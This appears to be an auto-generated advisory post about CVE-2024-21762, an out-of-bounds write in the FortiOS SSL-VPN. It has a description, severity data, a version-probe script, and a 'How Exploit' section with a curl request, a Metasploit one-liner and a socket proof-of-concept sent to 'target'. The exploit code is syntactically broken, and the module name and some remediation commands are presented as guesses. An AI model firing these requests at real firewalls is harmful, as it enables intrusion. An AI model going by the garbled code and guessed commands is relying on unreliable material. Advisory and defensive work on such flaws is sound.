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CVE-2024-21762 is a critical out-of-bounds write vulnerability in the FortiOS SSL-VPN component (sslvpnd). The flaw arises from incorrect parameter checks when processing certain HTTP requests against the SSL-VPN web interface. A remote, unauthenticated attacker can send a specially crafted HTTP request that causes a reduced number of bytes to be copied outside the bounds of a buffer. This memory corruption leads to a condition where the attacker can redirect the flow of execution, ultimately achieving remote code execution. The vulnerability affects FortiOS versions 7.4.0 through 7.4.2, as well as earlier branches including 7.2.x, 7.0.x, 6.4.x, 6.2.x, and 6.0.x. Fortinet released patches in February 2024, and CISA added the CVE to its Known Exploited Vulnerabilities catalog on February 9, 2024, confirming active exploitation in the wild. The CVSS v3.1 base score is 9.8, reflecting the network attack vector, low attack complexity, no privileges required, and no user interaction. Because the SSL-VPN service is typically exposed to the internet, any unpatched FortiGate device with SSL-VPN enabled is at immediate risk. Exploitation can lead to full compromise of the firewall, allowing attackers to pivot into internal networks, exfiltrate data, or deploy ransomware. The out-of-bounds write occurs because the parser fails to validate the length of a user-supplied parameter before copying it into a fixed-size stack buffer. By carefully crafting the request, an attacker can overwrite adjacent memory, including return addresses or function pointers, and hijack the execution flow. Public proof-of-concept code has been released, and multiple threat actors have incorporated the exploit into their toolkits. Organizations must urgently upgrade to FortiOS 7.4.3 or later, or apply the relevant hotfix for their branch, and disable SSL-VPN if it is not strictly required. Detection is challenging because the exploit can be delivered in a single HTTP request, but indicators of compromise include unusual outbound connections from the firewall, unexpected processes, or crash logs from sslvpnd. Given the critical severity and active exploitation, immediate remediation is essential.
DailyCVE Form:
Platform: FortiOS SSL-VPN
Version: 7.4.0-7.4.2
Vulnerability: Out-of-Bounds Write
Severity: Critical
date: 2024-02-09
Prediction: 2024-02-23
What Undercode Say:
Analytics:
Query CVE-2024-21762 using vamp-cve-oracle python vamp_cve_oracle.py CVE-2024-21762 --markdown findings.md Check EPSS score and KEV status python vamp_cve_oracle.py CVE-2024-21762 -o json | jq '.epss, .kev' Bulk enrich from a file python vamp_cve_oracle.py -f cves.txt --html report.html
Minimal Python check for FortiOS version exposure
import requests
url = "https://target/remote/login"
resp = requests.get(url, verify=False, timeout=5)
if "FortiGate" in resp.text:
print("Potentially vulnerable FortiOS SSL-VPN endpoint")
How Exploit: (Educational Purposes!)
Example curl request to trigger the out-of-bounds write (conceptual)
curl -X POST https://target/remote/fortisslvpn_xw -d "param=$(python3 -c 'print("A"5000)')" -k
Metasploit module (if available)
msfconsole -q -x "use exploit/linux/http/fortinet_ssl_vpn_oob; set RHOSTS target; run"
PoC skeleton – do not use on production systems
import socket
payload = b"GET /remote/fortisslvpn_xw HTTP/1.1\r\nHost: target\r\n\r\n"
payload += b"X-Auth-Param: " + b"A" 4096
s = socket.socket()
s.connect(("target", 443))
s.send(payload)
print(s.recv(1024))
Protection: from this CVE
Check current FortiOS version get system status | grep Version Upgrade to patched version (example for 7.4 branch) execute restore image tftp fortios_7.4.3.img 192.168.1.100 Disable SSL-VPN if not needed config vpn ssl settings set status disable end
Verify patch level diagnose sys session list | grep sslvpnd
Impact:
Successful exploitation allows a remote unauthenticated attacker to execute arbitrary code with the privileges of the sslvpnd process, which typically runs as root on FortiGate devices. This leads to full compromise of the firewall, enabling the attacker to modify firewall rules, intercept traffic, pivot into internal networks, and deploy additional payloads. The vulnerability has been actively exploited in the wild, and its inclusion in the CISA KEV catalog underscores the urgent need for immediate patching.
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Sources:
Reported By: github.com
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